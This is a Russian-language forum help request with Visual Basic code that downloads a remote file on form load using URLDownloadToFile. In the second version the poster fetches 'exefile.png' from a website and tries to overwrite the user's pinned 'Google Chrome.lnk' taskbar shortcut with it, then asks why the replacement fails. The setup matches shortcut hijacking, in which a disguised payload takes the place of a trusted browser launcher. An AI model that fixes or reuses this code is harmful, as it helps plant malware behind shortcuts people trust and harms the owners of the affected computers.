Доброго времени суток. Нужна помощь ((( Вот код, который записывает фото, но, не сохраняет его там где хочется.


Dim lngRetVal As Long

lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)

If lngRetVal = 0 Then DownloadFile = True

End Function

Private Sub Form_Load()

DownloadFile " http://opaaa.ru/xxx.png", "C:-|%USERPROFILE%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\XXX.PNG"

MsgBox "OKS !"

End Sub

Не могу понять в чем проблема. Помогите, пожалуйста!

Roman Mejtes,

Да, уже разобралась с ошибкой. все сделала. Только у меня еще один вопрос

Private Declare Function URLDownloadToFile Lib "urlmon" _

Alias "URLDownloadToFileA" ( _

ByVal pCaller As Long, _

ByVal szURL As String, _

ByVal szFileName As String, _

ByVal dwReserved As Long, _

ByVal lpfnCB As Long) _

As Long

Public Function DownloadFile( _

URL As String, _

LocalFilename As String) _

As Boolean

Dim lngRetVal As Long

lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)

If lngRetVal = 0 Then DownloadFile = True

End Function

Private Sub Form_Load()

DownloadFile " http://mysite.com/exefile.png", Environ("USERPROFILE";-) & "\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk"



MsgBox "OKS !"

End Sub

в указанной папке есть ярлык Google Chrome.lnk

почему он его не может заменить ?